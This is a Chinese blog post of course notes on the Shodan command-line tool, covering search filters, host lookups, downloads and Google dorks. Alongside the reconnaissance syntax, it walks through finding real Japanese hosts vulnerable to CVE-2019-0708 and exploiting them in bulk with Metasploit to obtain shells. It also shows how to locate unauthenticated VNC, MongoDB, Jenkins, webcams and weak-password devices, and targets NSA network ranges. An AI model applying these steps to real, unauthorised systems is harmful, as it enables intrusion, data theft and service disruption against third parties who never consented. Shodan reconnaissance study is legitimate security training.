泷羽sec----网络搜索引擎shodan的使用

shodan的使用

声明!
学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页B站泷羽sec

一、简述

首先明白shodan 的用途,即为什么使用shodan,shodan是一种网络搜索引擎,它是通过对于网络中的设备进行不间断的扫描,并把结果保存下来,用于用户去进行搜索。它可以搜索到网络中的许多设备以及服务等,甚至可以检索漏洞,如果知道目标就可以对这个目标进行检索,如果知道某个漏洞,就可以根据这个漏洞去检索相应的网络设备。

shodan的网站是www.shodan.io,也是有会员制的一种,可以通过网站直接进行操作,或者通过一些工具来更加方便的获取信息,如github中的开源项目shodan-python。通过python处理操作,并把结果整理

建议某鱼上买一个用着,用于学习,也不贵

二、安装shodan-python

首先需要安装git,对于kali来说,内置已经有git命令,可直接使用

git clone 项目地址 				//https://github.com/achillean/shodan-python
可以把github中的项目下载到当前的文件目录,或者也可以下载到指定的目录中,只需在项目地址后加上目录即可
当然有时候在国内访问GitHub是不稳定的,所以一般可以科学一下

下载项目后,可以进行操作了,首先安装

python setup.py install			使用python安装
shodan init API_key				这里的API_key指的是shodan中的API,在登陆shodan账号后可以在账号中查看
shodan -h 						出现shodan的帮助说明参数,说明安装成功

三、使用shodan-python

Ⅰ. shodan的search、host学习(PART 1)

shodan -h          
Usage: shodan [OPTIONS] COMMAND [ARGS]...

Options:
  -h, --help  Show this message and exit.
  
Commands:
  alert       Manage the network alerts for your account
  convert     Convert the given input data file into a...
  count       Returns the number of results for a search
  data        Bulk data access to Shodan
  domain      View all available information for a domain
  download    Download search results and save them in...
  honeyscore  Check whether the IP is a honeypot or not.
  host        View all available information for an IP...
  info        Shows general information about your account
  init        Initialize the Shodan command-line
  myip        Print your external IP address
  org         Manage your organization's access to Shodan
  parse       Extract information out of compressed...
  radar       Real-Time Map of some results as Shodan...
  scan        Scan an IP/ netblock using Shodan.
  search      Search the Shodan database
  stats       Provide summary information about a...
  stream      Stream data in real-time.
  trends      Search Shodan historical database
  version     Print version of this tool.

shodan的用法很多,这里先从简单的search命令进行学习,也就是进行搜索

情景一、我想要搜索10条在日本的信息

shodan search --limit 10 country:jp
	search -----表示搜索
	limit  -----表示限制,也就是众多的信息中,显示限制为10条信息
	country-----表示国家
	jp		----小日子的国家缩写,也就是英文的缩写

image

根据上面的检索信息可以看到,给出的信息看着有些让人眼花缭乱,如果我们确定只要某一方面的信息就可以进行加以限制,只显示我们想要的。

情景二、我想要搜索10条在日本的IP以及端口信息

shodan search --limit 10 --fields ip,port country:jp
	fields----该参数表示的是范围,也可以是区域,也就是检索信息返回显示的信息
	ip	 -----指ip地址
	port -----指端口号

image

根据上面的检索信息返回图可以知道,白色代表IP,黄色代表端口号,但是这里的IP为什么和平常接触的IPV4显示方式不同,是否不是IP地址呢,百度可以知道,这也是IP的一种表现方式,后面继续学习的话,可以了解到IP更多的表现方式,如二进制IP地址等。

那么这种表现我觉得还是不行,想要结果更加人性化,可以对参数进行略微的改变

shodan search --limit 10 --fields ip_str,port country:jp
	唯一变动参数ip改为ip_str,略懂一些编程更好理解,前面的ip显示形式是一种数字化,而平常大部分看到的文字等都是一种字符,那么这里就是对数字化的ip进行转字符,为IPV4的形式

image

情景三、具体到城市的检索信息

shodan search --limit 10 --fields ip_str port:3389 country:cn city:hefei
	port参数是可以指定端口的,这样再进行检索信息的时候会返回开放3389端口号的IP信息
	city参数表示城市,也就是市级为单位,上海,深圳等
	cn参数是中国的缩写	

image

这里返回的就是3389端口开放并且是在国内城市合肥的IP地址,当然这里可以进行测试,因为shodan实时性不是很好,可能含有旧的信息

image

情景四、我想要知道指定目标IP的一些信息

shodan host [xx target xx]
	使用host参数去查询目标,返回目标主机的一些信息

这里以前面检索到的小日子的IP进行测试【184.27.185.18】

image

可以看到根据一个IP地址,检索出了很多消息,如域名,该IP所处的城市国家,以及属于什么服务商。还有IP的开放端口,以及一些端口的服务信息。当然还有其它信息,只不过这个IP的信息检索只有这么多,可以换个IP测试,发现是不是可能会有操作系统,以及其他的信息。

情景五、我想要这国家中已经有漏洞的IP地址

shodan search has_vuln:True --limit 10 --fields ip_str port:3389 country:jp
	has_vuln:True   ------>表示是否已经有漏洞,true表示是

image

检索的信息可以看到,这里给出了3389端口有漏洞的小日子的IP地址,因为是小日子的IP,所以我测试一下

因为不知道具体的是什么漏洞,可以用host参数查看

shodan host 1.77.141.61

image

可以看到操作系统有了,指出的漏洞编号也有了,不知道是什么漏洞没有事,可以直接搜索这个编号,或者通过kali的漏洞库去搜索都可以

CVE-2019-0708简介:
	通过利用远程桌面的3389端口,RDP协议进行攻击,从而导致机器蓝屏瘫痪。该漏洞的触发无需任何用户交互操作,这就意味着,存在漏洞的计算机只要联网,无需任何操作,就有可能遭遇黑客远程攻击,运行恶意代码等,极具破坏性!

这里可以直接使用MSF进行漏洞利用,打开msfconsole,然后搜索关键字0708

search 0708

可以发现有两个模块,一个是扫描(scanner),一个是利用(exploit),可以先扫描,然后确认有漏洞后就可以进行利用,注意的是使用利用模块是,需要设置target,如果是漏洞复现,靶机在虚拟机上,可根据虚拟机版本品牌选择,如果是真实的主机,target设置为1。然后开始攻击,过程中需要等待,也就是目标先蓝屏然后等它重启后,就可以获得shell。

image

然后到此结束,注意注意注意,不要随便攻击别人的主机,以及绝不允许攻击国内。这里的小日子IP仅供学习,作为参考。

情景六、网络中的非主机服务器等设备

shodan search --limit 10 --fields ip_str,port device:webcam country:jp
	这里的device 表示设备的意思
	跟着的webcam 表示网络摄像机,也就是网络监控/摄像头	注意是联网的,连到公网的

就会返回网络摄像头的IP以及端口号,放在浏览器中输入地址端口就可以访问了

image

因为是小日子,所以网络卡顿,往往都会看不清的

shodan search --limit 10 --fields ip_str,port device:router country:jp
	device ---->表示设备的意思
	router ---->是路由器

检索路由器的信息

image

大部分的路由器都是可以通过telnet进行远程登录的,这里也需要考虑一个端口号对应的服务问题,23对应的也是telnet服务

shodan search --limit 10 --fields ip_str,port tp-link country:jp
	搜索设备TP-LINK的信息,tp-link是厂商,所代表的产品也多

通过检索返回的信息可进行访问看看

image

image

因为是厂商,所以产品很多,并且使用的人多,那么就可以配合情景五中,使用到的参数has_vuln:True进行检索,如果检索到有,就可以进行漏洞复现,然后提交。

Part 1 小结:通过网络搜索引擎shodan来获取网上的一些信息,或者目标的一些信息,这个功能很是强大,如果知道某些漏洞,可以通过这个漏洞去搜索对应的IP,这一环节也是简单的了解怎么搜索信息,以及怎么使用参数searchhostdevicehas_vuln等,最主要的是,要学会把这些参数结合起来去使用,不能盲目的、没有逻辑的去学习使用

Ⅱ CVE-2019-0708漏洞复现(Part2)

首先百度搜索一下这个漏洞描述的是什么,或者看前面Part1 的情景五中的简介也是一样的。既然是学习shodan,那么这个漏洞当然要通过shodan去进行搜索了

shodan search --limit 10 --fields ip_str,port vuln:cve-2019-0708 country:jp
	vuln---->该参数表示还有该漏洞
不过这里的vuln参数只能够高级会员以上才能使用,所以换种方式绕过这种会员限制

shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp

这一串十六进制的字符可以说是拥有CVE-2019-0708漏洞的特征,所以可以这样去绕过

image

检索是个结果,可以先进行远程连接测试,然后可以进一步进行渗透,这里在Part1 情景五中实验过一次,所以不在笔记上记录,自己操作一遍。

可以知道,我们知道了漏洞,但是一个一个进行测试很是繁琐,怎么批量呢?

首先两种方式,第一种把检索的结果只显示IP地址,然后把IP地址复制到一个文件中,再通过MSF进行批量操作

第二种,使用shodan中的download和parse参数进行下载与解析

shodan download [自己取文件名] --limit 100 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp

这里会把检索的结果下载到当前目录下,并且以压缩文件形式存在
那么下载的检索结果怎么进行下一步处理呢

shodan parse --fields ip_str 【通过download下载的文件】
这里就会把文件解析出,可以查看

比如,取名0708
shodan download 0708 --limit 100 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp
下载的数据到当前目录下,是个gz压缩包

shodan parse --fields ip_str 0708.json.gz > 0708.txt
就会解析下载的数据,并把其中的ip提取出来,重定向给0708.txt文件。
那么0708.txt文件中就都是可能含有漏洞的IP

使用MSF进行测试

输入msfconsole  进入MSF
search 0708		搜索漏洞关键字

image

这里注意的是,序号0的模块是扫描模块,也就是检测是否有漏洞,序号3是漏洞利用模块。

把文件中的IP地址先进行批量扫描

use 0 			使用序号为0的模块

然后查看该模块需要什么参数配置

show options

然后设置必要参数rhosts,这个代表的是目标主机,可以是单个,可以是文件。把之前的文件选择

set rhosts file:'0708.txt'		这里表示是文件形式

然后就可以进行执行了

run/exploit

经过扫描后,可以把有漏洞的IP再进行漏洞利用即可

使用漏洞利用模块

use 3
show options 
set rhosts file:'0708.txt'
set target 1
run/explot

然后静静等待上线就行

Part 2 小结: 主要学习了shodan中的两个参数,一个是download,用于下载检索的数据,一个是parse用于解析或者说提取下载的数据。也学习了一个vuln参数,不过主要的是,都是通过数据库进行检索的,所以学习中的十六进制也是可以检索到的。另外就是把shodan与MSF联合起来进行漏洞的批量检测

Ⅲ 使用shodan的历史数据查询以及VNC的空密码检索(Part 3)

首先介绍一个参数,count,该参数是针对你输入的进行一个统计,在数据库中大概有多少数据。

shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'

image

然后就是在进行检索信息的时候,有时候会发现有的IP地址竟然把所有的端口都开放了,不免的让人怀疑这是蜜罐。什么是蜜罐呢,这就是一种防御黑客工具的部署,也是一种陷阱。

shodan中有检测是否是蜜罐的参数honeyscore

image

发现提示,不能计算蜜罐,那么可以通过web网站进行测试honeyscore.shodan.io

image

接着就是查询历史信息,比如某一个IP地址,在以前的信息中,可能开放了某个端口等,也有可能有些信息泄露,当然对于这方面,收集起来也是好习惯

shodan host [xx目标地址xx] --history

算是一个实验吧,来了,VNC的空密码连接,这个就相当于一种远程控制电脑的软件。

首先可以先了解一下,进行远程登录的时候,需要输入用户名和密码,也就是进行身份权限认证,如果身份认证关闭了,也就是相当于可以进行匿名访问,不需要进行验证,就造成空密码登录。(当然这只是我个人比较容易理解的一段文字,并非VNC原理)

shodan search --limit 10 --fields ip_str "authentication disabled" port:5900

shodan download 【文件名】--limit 10 --fields ip_str "authentication disabled" port:5900
        authentication disabled------->表示身份认证关闭
		port:5900			----->VNC的默认端口号是5900
		
shodan parse --fields ip_str 【文件名的gz包】 > vnc.txt

Part 3 小结: 主要学习count参数,是用于统计检索的数据有多少的,honeyscore是蜜罐的检测,history是检索目标的一些历史信息的。学习一个检测VNC的无身份认证的,直接"authentication disabled",而且VNC的默认端口号是5900

Ⅳ 使用shodan查询网站中的title关键字以及弱口令设备(Part 4)

首先学习查看自己当前上网的公网IP地址,当然也可以使用一些在线网址去查询

shodan myip

image

然后通过网站中的title,也就是HTML中的标签<title>,通过搜索这个关键字来检索一些信息。

情景七、查询网络中已经被别人黑入的网站

shodan search --limit 10 --fields ip_str,port http.title:hacked by
	http.title ------>表示网站中的title关键字
	hacked by ------->表示title中的字符

image

image

可以看到网站的标题是hacked by这段字符,并且通过查看HTML中的元素可以看到,<title>标签确实是这个

在这个基础上,我们可以去寻找一些特殊的字符,比如:后台管理,xxx系统,mysql等等,当然也可以自己去积累一些,比如有的CMS的标题可能都是固定的,那么当知道一个CMS的漏洞时,并且指纹识别不出来,就可以尝试使用这种方式去查询。

比如搜索mysql中的一种网页数据库管理工具,phpmyadmin,因为标题中是有这种关键字的

shodan search --limit 10 --fields ip_str,port http.title:phpmyadmin country:jp

image

那么查询到就可以进行测试,比如弱密码

比如搜索后台

shodan search --limit 10 --fields ip_str,port http.title:后台 country:jp

image

甚至使用这种方式,兄弟们还愁找不到一些网站吗,那都是成堆成堆的。

情景八 寻找弱口令的网络设备

shodan search --limit 10 --fields ip_str,port "cisco -unauthorized port:23"

image

part4 小结:主要的就是学会查询网站的标题,而且最主要的是HTML中的标签很多,可使用的不止只有<title>,而且要学会结合使用,也就是和前面的命令结合起来,比如与has_vuln:True结合,找到的就可能是有漏洞的网站,如果还是一个系统呢, 也就是如果是同一个CMS呢, 不就代表大量的漏洞吗,当然因为shodan的实时性不太好,所以查询到的可能会被修复,当然这种CMS的版本也很重要,版本对的上说明存在漏洞。

Ⅴ 使用shodan寻找网段以及HTML中的关键字查询,一个未授权访问(Part 5)

首先老师提供了一个美国国家安全局的网站以及其IP的网段

www.nsa.gov(美国国家安全局官方网站)

shodan search --limit 10 --fields ip_str,port net:208.88.84.0/24
	net------->指定网络范围
	208.88.84.0/24------->IPV4是由32位构成,其中每一个由 . 隔开的数字,占据8位,四个数字也就是32位,				这里的/24,指的是前面24位作为网络号,剩下的一个数字作为主机号
			这个网段也是米国国家安全局的一个网段

image

image

一般需要科学,但是,有的网站并不是直接访问IP地址就可以访问的,需要访问其域名才能成功访问,所以知道IP地址后,可以先解析域名再进行访问

那么假设我们现在只知道有一个组织或者说一个域名,怎么获取它可能含有的IP地址呢,就可以使用org参数

shodan search --limit 10 --fields ip_str,port org:nsa has_vuln:True
	org----->也就是organization的简写,有组织的意思
	对于.gov的域名,shodan可能不会显示,可以去掉.gov再进行搜索

image

可以看到所属组织是NSA,不过国家属于法国的,而且有过的漏洞这么多,如果没有修复的话,就可以进行复现

shodan search --limit 10 --fields ip_str,port hostname:google
	hostname----->个人感觉可以看出域名,然后相当于把域名中含有google的网站转化为ip地址显示出来

image

shodan search --limit 10 --fields ip_str,port http.waf:safedog country:jp
		http.waf----->其实也是看网页,http请求中的信息,如果含有safedog则把信息显示

image

image

shodan search --limit 10 --fields ip_str,port http.html:login country:jp
		http.html------>发现在HTML中存在的关键字,这种关键字并非是呈现在页面中的,也可能是在代码中的
shodan search --limit 10 --fields ip_str,port http.html:皓峰防火墙系统登录 country:jp

image

image

重点:MongoDB未授权访问
shodan search --limit 10 --fields ip_str "Mongodb server information -authentication" port:27017

首先下载mongodb数据库,一定要自己安装一下,因为如果后面学到漏洞复现的话,对于环境也是要学会搭建的,官网下载地址https://www.mongodb.com/try/download/community,这里下载社区版就可以了。注意在安装的时候,文件目录一定放在全是英文的目录下,就是整体目录全是英文

https://www.mongodb.com/try/download/shell该网址是mongodb的命令工具,用于输入命令时使用的

mongod --install --dbpath 数据目录 --logpath 日志目录\日志名称	#创建服务,目录需要文件的绝对地址
mongod --remove	    #卸载服务		
net start mongodb	#启动服务
net stop mongodb	#关闭服务
mongod #是处理MongoDB系统的主要进程。它处理数据请求,管理数据存储,和执行后台管理操作。当我们运行mongod命令意味着正在启动MongoDB进程,并且在后台运行。
mongosh 

image

这就完成了mongodb 的未授权访问,直接访问到数据库

Jenkins是一种可以自动化操作的服务,有组件的形式。

它可以自动化构建和部署,可以从git代码仓库中获取代码并且进行编译、打包等构建操作,可以把构建好的成果自动部署到不同的环境中。

可以自动运行各种测试,如单元测试,集成测试等

它是java环境。官网链接https://www.jenkins.io/zh

shodan search --limit 10 --fields ip_str,port "X-Jenkins" OR "Set-cookie:JSESSIONID" http.title:"Dashboard"
	"X-Jenkins" OR "Set-cookie:JSESSIONID"-------->表示搜索结果中要么响应头包含“X-Jenkins",要么"Set-cookie"的值包含"JSESSIONID"。使用 OR 逻辑运算符连接,扩大搜索范围

image

这就是Jenkins 的组件样式,这个因为没有设置账号密码,直接访问就成功了,如果这里面有什么项目的话,可以获取到它的项目链接,并且也可以做其他事情

Part 5 小结:主要学会通过http.xxxx进行搜索,而且主要的就是mongodb数据库要会搭建以及通过shodan搜索mongodb的未授权访问,还要记住mongodb的默认端口号是27017。以及主动搜索Jenkins去了解这个组件的作用,以至于我们收集到这方面的信息或者漏洞后可以做什么事情。

Ⅵ shodan的图形化界面的使用

对于图形化或者命令行,各有各的好处,个人认为,对于收集大量信息,IP,端口等时,使用命令行的操作更方便收集。但是使用图形化的界面对于单个目标来看的话,更人性化,看的更加清晰

图形化中的一些参数等,在命令行中都是可以使用的

shodan search --limit 10 --fields ip_str,port product:Apache httpd
	product ----->指的是产品,也就是所谓的服务商提供的产品,如apache,nginx等
shdan search --limit 10 --fields ip_str,port org:Tencent cloud
	org ----->前面说过,代表某一种组织的意思,这里是查找属于腾讯云这个组织的信息

这是图形化界面的一些选项,当然还有在settings中,可以设置添加邮箱等操作,

dashboard中,可以图形化的观测到监控的目标的状态等

image

part 6 小结:主要介绍了shodan的图形化界面的一些选项的操作,了解图形化的一些功能,不止可以命令行操作,对于图形化和命令行,看个人习惯去进行使用

Ⅶ shodan之收官

今天老师主要介绍在命令行中,未曾讲到的一些参数

shodan alert (讲述怎么配置ip监控,在web页面上更直观)
shodan info  (查看自己的账户还有多少积分或者次数)
shodan domain 目标 (查询目标域名信息)

shodan检测的数据并非实时性的,可以使用scan参数对目标进行实时性的扫描
shodan scan submit ip地址
shodan scan list		(查看扫描信息)

shodan stats --facets ssl.version country:cn has_ssl:true http
		统计国内使用ssl的ip地址,并用版本做统计返回信息
老师再次强调,要灵活使用参数,搭配起来去进行使用,信息更多更准
has_screenshot:true cisco	(是有截图的思科设备)

一些常用的默认端口号:

1433	--mssql
1521	--oracle
3306	--mysql
27017,27018	--mongodb
28017	--mongodb统计系统页面
5432	--postgreSQL
6379	--redis(未授权)
3389	RDP
80		http
443		https	ssl心脏滴血漏洞
445		smb
21		ftp
22		ssh
23		telnet
25		smtp
110		pop3
143		imap
53		dns
69		tftp
67-68	dhcp
2082/2083  cpanel(主机管理系统,国外用的较多)
2222	da虚拟主机管理系统(国外较多)
3128	squid代理默认端口--漫游内网
3312/3311	kangle主机管理系统
5900	VNC
7001/7002	weblogic(默认的弱口令,反序列化)
7778	kloxo(主机控制面板登录)
8000-9000	常见的web端口,管理后台也可能会在这些端口上
8080	tomcat、wdcp主机管理系统(默认弱口令)
8080,8089,9090	jboss
8083	vestacp	(主机管理系统,国外较多)
8649	ganglia
8888	宝塔默认端口
10000	virtuamin/webmin 服务器虚拟主机管理系统
11211	memcache 未授权访问

google语法:

inurl:xxx		表示查找在URL链接中有xxx的页面
filetype:【文件类型,如pdf、xls等】  查找页面中有该种类型文件的页面
intitle:xxx		在<title>标签中找含有xxx的标题页面
site:xxx		搜索某个网站站点的所有页面

把上面的结合起来
inurl:upload site:xxx	查询某网站含有上传功能的页面
inurl:confidential site:xxx	 查询某网站中的URL中含有机密的页面
posted @ 2024-12-11 02:46  whitehe  阅读(246)  评论(0)    收藏  举报